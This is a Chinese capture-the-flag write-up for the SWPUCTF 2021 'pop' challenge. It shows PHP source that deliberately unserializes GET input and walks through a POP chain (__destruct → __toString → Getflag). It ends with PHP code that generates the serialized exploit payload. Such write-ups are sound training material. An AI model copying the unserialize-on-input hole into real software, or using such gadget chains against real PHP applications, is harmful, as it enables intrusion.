[SWPUCTF 2021 新生赛]pop writeup

题目源码如下:

<?php

error_reporting(0);
show_source("index.php");

class w44m{

    private $admin = 'aaa';
    protected $passwd = '123456';

    public function Getflag(){
        if($this->admin === 'w44m' && $this->passwd ==='08067'){
            include('flag.php');
            echo $flag;
        }else{
            echo $this->admin;
            echo $this->passwd;
            echo 'nono';
        }
    }
}

class w22m{
    public $w00m;
    public function __destruct(){
        echo $this->w00m;
    }
}

class w33m{
    public $w00m;
    public $w22m;
    public function __toString(){
        $this->w00m->{$this->w22m}();
        return 0;
    }
}

$w00m = $_GET['w00m'];
unserialize($w00m);

?>

        首先发现这是一个反序列化的题目,一步一步逆推写payload

        要得到flag,要运行Getflag()函数,且满足admin和password的条件,如何运行Getflag()函数?在w33m的__toString()方法中,我们可以发现有类似的格式。

        由此可以得出,应该有一个w33m的对象,它的w00m属性是一个w44m类,w22m应该是“Getflag”,即

$a = new w33m();
$a->w00m = new w44m();
$a->w22m = "Getflag";

        继续往下走,什么情况下__toString()方法才会触发呢?

__toString() 是一个 PHP 的魔术方法(magic method),用于在对象被转换为字符串时自动调用。具体来说,在以下情况下会触发 __toString() 方法的调用:

  1. 当使用 echo 或 print 输出一个对象时,如果对象的类定义了 __toString() 方法,则该方法会被调用并返回一个字符串,以便输出到屏幕。
  2. 当将一个对象作为字符串进行拼接(字符串连接)时,如果对象的类定义了 __toString() 方法,则该方法会被调用并返回一个字符串,以便拼接到其他字符串中。
  3. 当使用 sprintf() 或类似的字符串格式化函数时,如果参数中包含了一个对象,而该对象的类定义了 __toString() 方法,则该方法会被调用以获取该对象的字符串表示形式。

ps:以上引自chatgpt        

         在w22m类中,__destruct()方法中使用了echo,因此可以推断出要通过w22m调用w33m,且__destruct()方法会在反序列化后被调用,因此从这个方向也可以判断出w22m应该是最外层。

$b = new w22m();
$b->w00m = $a;

        最后,又由于在w44m中admin和password不是public属性的,不能在外部修改,所以要在payload里面重新写一个admin和password满足条件的w44m。

        综上所述,代码如下:

<?php
class w44m{

    private $admin = 'w44m';
    protected $passwd = '08067';

}

class w22m{
    public $w00m;
   
}

class w33m{
    public $w00m;
    public $w22m;
 
}
$a = new w33m();
$b = new w22m();
$a->w00m = new w44m();
$a->w22m = "Getflag";
$b->w00m = $a;
$result = urlencode(serialize($b));
print_r($result);

?>

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值